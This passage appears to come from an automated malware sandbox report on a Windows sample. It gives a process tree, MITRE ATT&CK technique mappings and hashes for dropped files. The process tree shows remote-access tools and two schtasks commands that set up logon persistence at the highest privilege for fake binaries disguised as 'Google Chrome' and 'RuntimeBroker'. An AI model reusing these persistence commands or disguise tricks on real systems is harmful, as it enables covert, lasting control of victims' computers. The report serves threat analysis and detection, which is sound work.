    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSID0D8.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240712000 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    PID:10144
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 34EAA7B68999E62F4F578F03452C8129 C
  2⤵
  PID:8228
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIE971.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240712703 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    PID:9316
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 3CDBE0D9DA72FB5CDDF491BB364159AB C
  2⤵
  PID:11468
- - C:\Users\Admin\AppData\Local\Temp\{24F975FD-C892-4505-8C67-C0F77C8FDFF2}\ISBEW64.exe
    C:\Users\Admin\AppData\Local\Temp\{24F975FD-C892-4505-8C67-C0F77C8FDFF2}\ISBEW64.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{BD29F505-F860-4820-B9B9-221FF5C0E7ED}
    3⤵
    PID:9980
- - C:\Users\Admin\AppData\Local\Temp\{24F975FD-C892-4505-8C67-C0F77C8FDFF2}\ISBEW64.exe
    C:\Users\Admin\AppData\Local\Temp\{24F975FD-C892-4505-8C67-C0F77C8FDFF2}\ISBEW64.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{60161811-F501-44B4-9646-0DF18A93293E}
    3⤵
    PID:2628
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 456CA9950CDEB3BD908DB7ED002CFC47 C
  2⤵
  PID:12240
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI43A6.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240739265 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    PID:9592
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 022F5A51AE8B60B07D6154095E83E92F C
  2⤵
  PID:10452
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIF15.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240796156 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    PID:15220
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 2E7143B69A26A09A6323B6FB0F5FBF5C C
  2⤵
  PID:13664

C:\Users\Admin\AppData\Local\Temp\a\g64.exe
"C:\Users\Admin\AppData\Local\Temp\a\g64.exe" service
1⤵
PID:9428
- C:\Users\Admin\AppData\Local\Temp\a\g64.exe
  "C:\Users\Admin\AppData\Local\Temp\a\g64.exe" Global\GotoHTTP_1
  2⤵
  PID:9608

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:2356

C:\Users\Admin\AppData\Roaming\Google\Chrome.exe
C:\Users\Admin\AppData\Roaming\Google\Chrome.exe
1⤵
PID:11024
- C:\Windows\system32\schtasks.exe
  "schtasks" /create /tn "Google Chrome" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Google\Chrome.exe" /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6024

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:11564

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5728

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:12680

C:\Users\Admin\AppData\Local\Temp\a\UniversalBrowser.exe
C:\Users\Admin\AppData\Local\Temp\a\UniversalBrowser.exe
1⤵
PID:12356

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:7788

C:\Program Files (x86)\CentraStage\CagService.exe
"C:\Program Files (x86)\CentraStage\CagService.exe"
1⤵
PID:5100

C:\Users\Admin\AppData\Roaming\SubDir\updater.exe
C:\Users\Admin\AppData\Roaming\SubDir\updater.exe
1⤵
PID:10892
- C:\Windows\system32\schtasks.exe
  "schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\updater.exe" /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:12088
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RZJUcW8fvIGJ.bat" "
  2⤵
  PID:16012

C:\Program Files (x86)\CentraStage\Gui.exe
"C:\Program Files (x86)\CentraStage\Gui.exe"
1⤵
PID:11504

C:\Users\Admin\AppData\Local\PiKqNTCbmrHPacS\SecurityUpdater.exe.exe
C:\Users\Admin\AppData\Local\PiKqNTCbmrHPacS\SecurityUpdater.exe.exe
1⤵
PID:12300

C:\Users\Admin\AppData\Roaming\Microsoft\SecurityHealth\payload.exe
C:\Users\Admin\AppData\Roaming\Microsoft\SecurityHealth\payload.exe
1⤵
PID:12756

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Installer Packages

T1546.016

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Installer Packages

T1546.016

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Gui.exe

Path C:\Program Files (x86)\CentraStage\Gui.exe
Size 2.0MB
SHA256 18b34feb4cc8529be7433eb179391ebdbd047fe5d8a83f9b6d80843c7bddfaa5
MD5 38fb4d949cc3014095bff7655b778977
SHA1 95a41ad05448ad37365f7e9bfdcb3a2419f812d9
SHA512 3015d381448de5971ef5a166bd7e4a8c6de6457c69fb88db5221ee0d27d83fbcc78b3c0cd757fbde0bc68479dbd8225c286a1bcec9ea97421f042077bd6e9022
SSDEEP 24576:+GkjgTxeUXk5oxqg40CEkeOEbYfRA1COqFH7Re2EvP/z1w2LdB1PxQb3N/t2:+NqGVqORfRBOV35ZR5E4
TLSH
T101A5384173B85D1DF1BF8B35A83394B087F2BE8696D5DB4E6898B69E1CE97008E01353
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

log.txt

Path C:\Program Files (x86)\CentraStage\log.txt
Size 3KB
SHA256 08de712c6dadd1efcf9984131e79931f02d24065d34f9be33a1371b3983dcfb8
MD5 8aa2ed55f9f6eb639933a82afca31bb5
SHA1 e95f51cb14d776d6714012574b3b4fa607b1bf3c
SHA512 677928c27cbc511dc8e56738459f46b6b00900cff23119f245ab6c9e3b0b72f2748a39c5b277ce997fd053c03d05a6327e90a7407e6da73c90377b41deeb30e5
TLSH
T160617D7030336DF94E878F4654147F8237AA96AB97144ECEAA6536DDE804A1F873E073
MD5 SHA1 SHA512 TLSH

Submit Download

log.txt

Path C:\Program Files (x86)\CentraStage\log.txt
Size 4KB
SHA256 be78c4da05daa52eb3461698369d6cc16c3f2b1bc1770be6e3b5e5787fdedcf0
MD5 5f8261663f884f070a12babce2e39994
SHA1 62a8f3d386c4f3b3db294e225478264352123809
SHA512 d5bbe39d276f1b1daeb7360bf8261565b83bfe64a014599a2d84f6dba62728449e6f5683c790d19c2fa72cf3a263bb9455a0a0a53948a18d08c1346edd68343c
SSDEEP 96:qvt2/wyRFbAwmKawFHEw7FAws/RwT9awtUpjYLYAw7t/tEw6qAwTDAwrbAw+JAwH:qsnbqKTHbFg/g949YLYPt/taqnD/byJr
TLSH
T152A14C7030336DB94D8B9F4664147B8233EA56AB97144ECEA92536DDE908A1F473F0B3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

log.txt

Path C:\Program Files (x86)\CentraStage\log.txt
Size 5KB
SHA256 a2558a44ae9cb514207b4885e335b1fc43ad29986bbf8a0b7596b53e2ffc3749
MD5 e4228b00918037cd5e70f5fd5d171eed
SHA1 1d4fd1be2489b114d2b0f4a9bf8d5fd4885541e3
SHA512 c644cb75d207469a213f70f42f78a4d6302bf32001d4817d66538e5fa1e17bccd9671230511214de33f5ffa138fa64a18493218f48e6fe7cba187caab001b15b
SSDEEP 96:qvt2/wyRFbAwmKawFHEw7FAws/RwT9awtUpjYLYAw7t/tEw6qAwTDAwrbAw+JAwM:qsnbqKTHbFg/g949YLYPt/taqnD/byJ4
TLSH
T189B16C7030336DB94D8B9F4A64147B8233EA56AB97144ECEA52536DDE908A0F473F0B3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

atl100.dll

Path C:\Program Files (x86)\Common Files\PPLiveNetwork\1.0.1.1058\player\atl100.dll
Size 134KB
SHA256 f54fe6535538174c139b1b0cb2ac0753b2e34412153a443482ccae53ffbc4dc6
MD5 00d2c06a552f782c1f16acf77db765a5
SHA1 640fd59ae52c7c381d7696ce66668aeaaa25b711
SHA512 bbdfa6945d57c49a886442a7d1032e08656d4999e614d5a0be0d318832be94520601d2db9c0e3aff5e083d7a1392c72fb38ead2873520947e26993daed7ac795
SSDEEP 3072:nHi2/YxBFZNAWH6Gk5BsyGfGM8EnwO95fF:BOFZKWaj5BstfbfDP
TLSH
T182D36C1172E8C132E4E221B4869CB672072DBDA1076195C766D92BEECDF43D09F38B5B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msvcp100.dll

Path C:\Program Files (x86)\Common Files\PPLiveNetwork\1.0.1.1058\player\msvcp100.dll
Size 411KB
SHA256 d769fafa2b3232de9fa7153212ba287f68e745257f1c00fafb511e7a02de7adf
MD5 e3c817f7fe44cc870ecdbcbc3ea36132
SHA1 2ada702a0c143a7ae39b7de16a4b5cc994d2548b
SHA512 4fcf3fcdd27c97a714e173aa221f53df6c152636d77dea49e256a9788f2d3f2c2d7315dd0b4d72ecefc553082f9149b8580779abb39891a88907f16ec9e13cbe
SSDEEP 12288:zNb8zxr1aWPaHX7dGP57rhUgiW6QR7t5qv3Ooc8UHkC2ejGH:zNb8Fpa6aHX7dGP5Kv3Ooc8UHkC2eKH
TLSH
T10E9428237A4649F5E1D223F46289932143F9FCA40721B3C3E2EFE1A99F583D56A33951
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msvcr100.dll

Path C:\Program Files (x86)\Common Files\PPLiveNetwork\1.0.1.1058\player\msvcr100.dll
Size 755KB
SHA256 60c06e0fa4449314da3a0a87c1a9d9577df99226f943637e06f61188e5862efa
MD5 bf38660a9125935658cfa3e53fdc7d65
SHA1 0b51fb415ec89848f339f8989d323bea722bfd70
SHA512 25f521ffe25a950d0f1a4de63b04cb62e2a3b0e72e7405799586913208bf8f8fa52aa34e96a9cc6ee47afcd41870f3aa0cd8289c53461d1b6e792d19b750c9a1
SSDEEP 12288:yMmCy3nAgPAxN9ueqix/HEmxsvGrif8ZSy+rdQw2QRAtd74/vmYK6H3BV0eAI:dmCy3KxW3ixPEmxsvGrm8Z6r+JQPzV4I
TLSH
T1B2F49D11B692C073C1B221300629D7B25D7BB8711035946BBBD59F3E1FB47C2EA277AA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

product.ini

Path C:\Program Files (x86)\Common Files\PPLiveNetwork\product.ini
Size 209B
SHA256 395d06cc7ba5bca2e9139e155091fad8428d70cdda04eaac63f3f809890d0a1d
MD5 867b9e23f427d86d5d991a865cfe4dcf
SHA1 30a944a16bf91cd7714449ab670d72b46641b42c
SHA512 4941fb89ac6461eed5bd56e0355028ffc8250331915ad9fa3f137ae9cad59948f90b9c647cf32865f3a49436d8a5d0010cc0cd72431e8aae1086a295f6b45ebb
TLSH
T120D023978A75F6F920057E20926445D0E7B18BDC11C3301141C6364704D2C85195F494
MD5 SHA1 SHA512 TLSH

Submit Download

PPTV.MKV.ico

Path C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\icons\PPTV.MKV.ico
Size 14KB
SHA256 9db668536fd301d931c6e160268b3d64d74542465fd6a3d06d6786c58122fb1c
MD5 95f21831a7834d7fd49a2675c470f4d7
SHA1 c95c8200aa565a4c09f39babaa20f7c4271ba050
SHA512 09adc0068c62ad0d33cc3b55e53c6c03e0fdb1a39521a89f226897ccbba78ecf47cc7e2c02d2a5cf4b460e5aaf3869444b589f72752f3d4e64904ddf2889109d
SSDEEP 192:+kdCbUje7b0lea9OHFBA6mZopU1CRzfNca:+ooie7b0k5HFBA6mOpU1ODNca
TLSH
T1C862DB512A3156F5D51D2ABA7C93CCF8B72BBC28F171968618FBFA1FC17AF901914280
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ppliverepair.exe

Path C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\ppliverepair.exe
Size 12.6MB
SHA256 7b024deda9a285ce08cdea266a351c5714ca61e6799cf12aa474ccdf04363a68
MD5 270902c6bb6844dc25ffaec801393245
SHA1 09ce87f436e23234b713fa3975b279987c3fe1f2
SHA512 ee8d3e845a094ef0389712c8234f767bd8b97ff0e3337fab9ebc93c3e3259ac37b07b236ff405a844e2ee72440a76f2f724fed5cd04d152059e5be746a3c3c96
SSDEEP 196608:h5NPwiLljpH1lU9WMBHCxYPlyYrKguWjcWyJSNxUKLd5H5G2sZbt038OGl8ls:bljpHrUMAHCxOduoXNqKLdJFybagT
TLSH
T1F9D633C9AA130EA4C9461E7F0F720E411A741A25DFF427506BA78CB71E6E34D2F05A6F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

uninst.exe

Path C:\Program Files (x86)\webrec\WEB30\WebPlugin\uninst.exe
Size 55KB
SHA256 f81f69a2d585a16ec9e872ca4e1069ffd603e35ab355e71ae2637242189eca4b
MD5 518825812f819227efd10f72382c0c61
SHA1 cd27a588b34d707ad2e90f1e48330990e8f04b14
SHA512 f2112de29169f94602a1a4452cc3c2daff1b452c7309d50bffa22b259c72a848bb9d1ccb50a8d79ce802f4454175a6365a5f321f0e23bb89f8e0962e27c686bd
SSDEEP 768:T1cVhpQI2EQK0iPDh84nScF15GYbWjXO3XJXgZl2iZQAm6kRRS+NoJRnKRV+ydZf:RQpQ5EP0ijnRTXJXgZlLeAyNlRUydZf
TLSH
T11D439ECA32C0C8A3D7664A3154A7D776BBF2AEC117510A672BE03FAF39341C6E915247
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

manifest.exe

Path C:\ProgramData\Epic\EpicGamesLauncher\manifest.exe
Size 466KB
SHA256 03c83edc8d960a029f04a6d256f1c062ac997f89e475ac1e4c73ab2470a3f704
MD5 c33225ef5415a1536a4efc1a9397eb81
SHA1 dd11ef27a2e7d1fa09e28d952c4b5e37a6869090
SHA512 959a9b03ee720300e52a07194bcfab698d6c5ae9addfb5dbf225b27394e81ab2051d6f90d551351bab4f8858d2b374c0d31fe88c7382cb04477769412ac3581b
SSDEEP 12288:xyveQB/fTHIGaPkKEYzURNAwbAgB2X+t4Lvv:xuDXTIGaPhEYzUzA0/0LX
TLSH
T147A48D09E7E909F8E0B7E538C9574902F77A3C4A03719A8F13A5566B1F27390DE3A721
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hg.dat

Path C:\ProgramData\Kingsoft\KIS\hg.dat
Size 53B
SHA256 1da29466679f3589e5ba8c591505b3143e1fae67b7b0fa5c899bdf77797995cf
MD5 36a6d33b54b8a65fcba574a6d692b0ff
SHA1 642a1e24fa071f64d5d8b9c56dd13fa99d87f359
SHA512 663a0aab496ca6cfbad48d187f397caebdebaf3ee098ae45f46d4b86b66d21ed4ccc2a257398b9bf9cd06dddf471ac30af6f4b6bd125c270cf1d7b6c88dc331f
TLSH
T10F9002A0030565570966B18D9555A5B0581495D298A0545349061643082A594C54A19B
MD5 SHA1 SHA512 TLSH

Submit Download

dbazdk03.dat

Path C:\ProgramData\dbazdk03.dat
Size 35KB
SHA256 1c38a63480ee790eb22267119f453c5f206a627e6d2a1b5cbafcdec96e1a7376
MD5 dea1a9339b742ec35a94b8e6ba0431e9
SHA1 e220cdca69b7a65645dd4a18b707ddbc74d42f41
SHA512 437b7edfa1d302bb34a820a20892632b80d49ceb96a6f72898b4d2932892e1170677358ee8cdfa044acfca2a4367ebe3c3dbfd3448a416c6e9669a057a438d9d
SSDEEP 768:w0G0xXV06zc8ZQ+BMZQacx0Epy0r0l090e0Y0E0D0R0C0lF50r6d0P0q0+qndvZr:w0G0xXV06zc8ZQ+BMZQacx0Epy0r0l0M
TLSH
T1F0F27DF1F7D0832F99D2184C8503768A906AEDA6BF5CEDE852992C8403F391DFD86D06
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

logs.dat

Path C:\ProgramData\remcos\logs.dat
Size 124B
SHA256 116166c7150eacc52460ef806191c5ae313cd05eb3644cfe240167a0357b35e1
MD5 2353a89ed24e259fb0c995858717410b
SHA1 26d518fc1d6c066a73d816902ba0a0f307cd324c
SHA512 20dc9690c1ad11bccb224878199250c3ce98cddefd2480abd9697dcce16ea87f41d5b9f3429b3bcddb5953cf8615e034c131eda29c236b975c28778e77ab0a08
TLSH
T16FB0929A37E2141BBC60A2AADCB344753BB07958203D880C66D0424C1AF2A0291447DB
MD5 SHA1 SHA512 TLSH

Submit Download

user.config

Path C:\Users\Admin\AppData\Local\CentraStage\Gui.exe_Url_skipuxqngzysnqnke2ck4pjjmof5uw4s\4.4.10516.10516\user.config
Size 344B
SHA256 aa9701ba4e01c83a8e73705476b1f448c67cf549f89a664a64e961aa566e41c6
MD5 92eae47c5f430471f99f86e4978a88a1
SHA1 9bdf5b9ecd78cf7a5a3f4b835023d019494d780c
SHA512 d64c4479e766f8f65355c9bde58d856e0eb56febce231ae31e79a66048a21f8ebe3fa6f0179bf265ac4856d24af6b2d22493efc3155efc6044655e9754d0ac27
TLSH
T1C4E01209A4C05E6B91B18E32D6684F85EEE0299390276170B97D12732B204840BC37B1
MD5 SHA1 SHA512 TLSH

Submit Download

vsxnkei1.newcfg

Path C:\Users\Admin\AppData\Local\CentraStage\Gui.exe_Url_skipuxqngzysnqnke2ck4pjjmof5uw4s\4.4.10516.10516\vsxnkei1.newcfg
Size 495B
SHA256 5e1f8d04fa8517a9bcd59742622daac6c7b5fa07a73b4ffd3adcdd8028be4a04
MD5 774dec6f40c641e076a616f7a40d1fa6
SHA1 07c21726b54283a1f471d84a98d5c279ad91daba
SHA512 10933ae5eaed266746f29e3141d15a433e13994bc974052177457f3ca8ab52d9ec747b8152cc89e744d6c12d9e1d4505388ba5d6b8e5e1c57478f62f657583ea
TLSH
T178F0920CA9C05F6B81B58A31D6744F81EEE06553903761F0B9BD22732F308940EE37B4
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 61KB
SHA256 cad7fa82645bffc55a30f34d2171b358e37496ab44945d39cf6ad5d3653cfb43
MD5 2ed87f0ff6276cca643ce40823ecc862
SHA1 e488b6df5f116b68a177eaa5e09ece10433c52d0
SHA512 3769f962bb2dd68a8f8555233112cd02befc3ccc5e2ce390753e02afb00777c5c0188557a9254d2d18d02fe9b55e1e32f19a2a7930658ae6aebf3b0e45eae8f0
SSDEEP 1536:/flJnrh4iUxubYCMVKfKQ0RWgvrqM21aV8NX+z30voM8xYoe3V3CNBQkj2SOdB6W:/flJnrqiUubYCMVKfKQ0RWgvrqM21aV6
TLSH
T15A538392E9204E75E2E65F3EF15622627D30394690F8113211DC25EFA9879930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SecurityUpdater.exe.exe

Path C:\Users\Admin\AppData\Local\PiKqNTCbmrHPacS\SecurityUpdater.exe.exe
Size 2.0MB
SHA256 4c0c48558754fc8efebcf9e6ec41a1d0e145fdf2a7f6e76d340e2e7e1bdc2487
MD5 a35bce35cfba9e85ea2cab8dfc5e9962
SHA1 00cda6928231dff4cbf3a18ccabe569b588d776b
SHA512 5a6f12616daf32b257935258612f4d4aaadd76e4028ca5666ee54fc24969fa4777561650d20a287913c579a7ef4553f6a2d49212333eb9184b29828052d3fa92
SSDEEP 49152:b8Ff3SjIa9za2ZKZ+Om6k+OG03ppzDWA4iv9+r39:b89GIqzCe+ObppzDWIv9+r
TLSH
T1C0A5010453B99201E07B133B94B4060443FEA93BDDEAD32D63956CEB29D7789573A22F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

._cache_%E6%A2%A6%E5%B9%BB%E9%AD%94%E7%95%8C%E7%94%B5%E8%84%91%E7%AB%AF.exe

Path C:\Users\Admin\AppData\Local\Temp\._cache_%E6%A2%A6%E5%B9%BB%E9%AD%94%E7%95%8C%E7%94%B5%E8%84%91%E7%AB%AF.exe
Size 1.8MB
SHA256 5f01d116410bb667fa538db0dbd52103323af43090f39a788c03447bc1025be0
MD5 16ae5af22d2278296842a16e05dd44fc
SHA1 09ea826fa8a6dfa7810b2a4bfc275b30acbf7e91
SHA512 57b8e04717ec6fd0b09da1181eedfb0b32270edd45ce89e8fcc3bf41780625e8efcb8909786d40ef525ebe248da4616861815a6697238e35dd9676362d0db8f0
SSDEEP 24576:j3vLR2VhZBJ905EmMyPnQxhe4/LwvHYgUBoHDC/hR:j3dUZTH7LAl
TLSH
T13E95D027F6918437D1332E7C4C3B9398986EBE201D38A54776E61E4D9E782813D2E3D6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Microsoft.Deployment.Compression.Cab.dll

Path C:\Users\Admin\AppData\Local\Temp\MSI43A6.tmp-\Microsoft.Deployment.Compression.Cab.dll
Size 48KB
SHA256 9d32032109ffc217b7dc49390bd01a067a49883843459356ebfb4d29ba696bf8
MD5 77be59b3ddef06f08caa53f0911608a5
SHA1 a3b20667c714e88cc11e845975cd6a3d6410e700
SHA512 c718c1afa95146b89fc5674574f41d994537af21a388335a38606aec24d6a222cbce3e6d971dfe04d86398e607815df63a54da2bb96ccf80b4f52072347e1ce6
SSDEEP 768:sqbC2wmdVdX9Y6BCH+C/FEQl2ifnxwr02Gy/G4Xux+bgHGvLw4:sAtXPC/Cifnxs02Gyu4Xu0MeR
TLSH
T196233900BBDC8627DBDE4BBC55B1259307B0EA39B613FBC69884D0AA7A177E45390317
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Microsoft.Deployment.Compression.dll

Path C:\Users\Admin\AppData\Local\Temp\MSI43A6.tmp-\Microsoft.Deployment.Compression.dll
Size 36KB
SHA256 e04de7988a2a39931831977fa22d2a4c39cf3f70211b77b618cae9243170f1a7
MD5 4717bcc62eb45d12ffbed3a35ba20e25
SHA1 da6324a2965c93b70fc9783a44f869a934a9caf7
SHA512 bb0abc59104435171e27830e094eae6781d2826ed2fc9009c8779d2ca9399e38edb1ec6a10c1676a5af0f7cacfb3f39ac2b45e61be2c6a8fe0edb1af63a739ca
SSDEEP 384:GqJxldkxhW9N5u8IALLU0X9Z1kTOPJlqE:GqJxl6xsPIA9COxlqE
TLSH
T1E5F23B556BDC823FFA6F0BBCB97116684370F2516A13EF891D88A0ED2C137188A5076B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Microsoft.Deployment.WindowsInstaller.Package.dll

Path C:\Users\Admin\AppData\Local\Temp\MSI43A6.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll
Size 56KB
SHA256 548c551f6ebc5d829158a1e9ad1948d301d7c921906c3d8d6b6d69925fc624a1
MD5 a921a2b83b98f02d003d9139fa6ba3d8
SHA1 33d67e11ad96f148fd1bfd4497b4a764d6365867
SHA512 e1d7556daf571c009fe52d6ffe3d6b79923daeea39d754ddf6beafa85d7a61f3db42dfc24d4667e35c4593f4ed6266f4099b393efa426fa29a72108a0eaedd3e
SSDEEP 768:BLNru62y+VqB4N5SBcDhDxW7ZkCmX2Qv1Sf0AQdleSBRxf+xUI3:BJ2yUGmh2O11AsleyRxf+xt
TLSH
T1F343074563EC8366E2BF2B78BAF095914B79F94B7932D20E2F85409F1832B404DA1777
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Core.dll

Path C:\Users\Admin\AppData\Local\Temp\MSI43A6.tmp-\ScreenConnect.Core.dll
Size 539KB
SHA256 1e9eacd3c680b18f3bfee12a835a49d63fed76056aedb2b2ef312999eb6b4033
MD5 d254a2107a0ede952aa99f5a8feb5a04
SHA1 322ddaf1cc80e5c392ae82ae9cb016cf0c5f01cf
SHA512 ca9083b303cab7b08874284b388b7bab74063b4a034e5c95b8b72777e4527df2c4102fd066a164d4937bb98f285549b199203481ed5340eafd538f5615163ce2
SSDEEP 6144:SfWyDky4hmlTnSnyXn/4ZNkVQVyRb9bniIzs8vvk6aMhCJqgfwyYeMxq/J1e5Qal:SfxkyQIGogZAQcb9jzsO6Mx9OF2
TLSH
T197C48EC133D4CB2BC5BF47BAF42056690770EC107509E79B1AB5D8A8ADA335A4EC06ED
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.InstallerActions.dll

Path C:\Users\Admin\AppData\Local\Temp\MSI43A6.tmp-\ScreenConnect.InstallerActions.dll
Size 11KB
SHA256 af7b515d5ea17e6811f7fd4e0fe76b7bbc6c2ff4e58dc005c86fa30d44f184ca
MD5 678f8c1050d8c83ace22346aad84d150
SHA1 ddc437d1cbe5f0e229a998e07404271e4e68be26
SHA512 4e3e9b4a0cf4d1313dbe357ee4501e5d4481e307c6153bf96120e1a14f1f9e5ceb26410e55d6d54cf1386a41787148f3992c02bba5b189ce944131ed9194dc93
SSDEEP 192:/8/Qp6lCJuV3j7XtyVNamVNG1YZfCrMmbfHJ7kjvLqbuLd9NEFbEC/T:0/cBJanXt2NaheUrMmb/FkjvLqbuZrCr
TLSH
T1A432D50077DC673AE8BE0F78DAB762910A71EB64A011DF2E1CCC91569C367449EA07A7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Windows.dll

Path C:\Users\Admin\AppData\Local\Temp\MSI43A6.tmp-\ScreenConnect.Windows.dll
Size 1.6MB
SHA256 f6e77233f0995581f3171ee92c5cab5b8052d177d333a4999e16e696616739a6
MD5 27d7995501d37a65912643493ec8f2c5
SHA1 3d3f37be1ff47568cf8b7ae3f28ceabbcdc1b009
SHA512 73751b468c82a2e77852932528946fdfbceae7cafc4175fd0d6d7d50771c78be4de0e916b226b0209beae067698a2355dfa656e3381f337778a5314a769f3057
SSDEEP 24576:yDtFj+Ifz3zvnXj/zXzvAAkGz8mvgtX79S+2bfh+RfmT01krTFiH4SqfKPTsUTHs:yDtJkGYYpT0+TFiH7efP
TLSH
T1BA85BD41E2D364F5D46B047888BF571ABA743C040325CAFB97D4AE3A6D33BC09A36796
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CustomAction.config

Path C:\Users\Admin\AppData\Local\Temp\MSIC4A3.tmp-\CustomAction.config
Size 234B
SHA256 7027b69ab6ebc9f3f7d2f6c800793fde2a057b76010d8cfd831cf440371b2b23
MD5 6f52ebea639fd7cefca18d9e5272463e
SHA1 b5e8387c2eb20dd37df8f4a3b9b0e875fa5415e3
SHA512 b5960066430ed40383d39365eadb3688cadadfeca382404924024c908e32c670afabd37ab41ff9e6ac97491a5eb8b55367d7199002bf8569cf545434ab2f271a
TLSH
T18CD0A70405D0FD1B5E231A2337524559FF34B1E290A44408B06F3A130A220CD4757317
MD5 SHA1 SHA512 TLSH

Submit Download

Microsoft.Deployment.WindowsInstaller.dll

Path C:\Users\Admin\AppData\Local\Temp\MSIC4A3.tmp-\Microsoft.Deployment.WindowsInstaller.dll
Size 172KB
SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
MD5 5ef88919012e4a3d8a1e2955dc8c8d81
SHA1 c0cfb830b8f1d990e3836e0bcc786e7972c9ed62
SHA512 4544565b7d69761f9b4532cc85e7c654e591b2264eb8da28e60a058151030b53a99d1b2833f11bfc8acc837eecc44a7d0dbd8bc7af97fc0e0f4938c43f9c2684
SSDEEP 3072:FkfZS7FUguxN+77b1W5GR69UgoCaf8TpCnfKlRUjW01Ky4:x+c7b1W4R6joxfQE
TLSH
T14E045B2563FC473ECAEF87B4E2624251E7B2E2E97113DB0DDC8541AA2522780F792753
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MSIE367.tmp

Path C:\Users\Admin\AppData\Local\Temp\MSIE367.tmp
Size 825KB
SHA256 7dd81ba3288dc787ca82f68c3dc5b1bf76bffa0623a18c4b8164bec52c6d4294
MD5 44e41c1c2e52389ce16bf7b991072db4
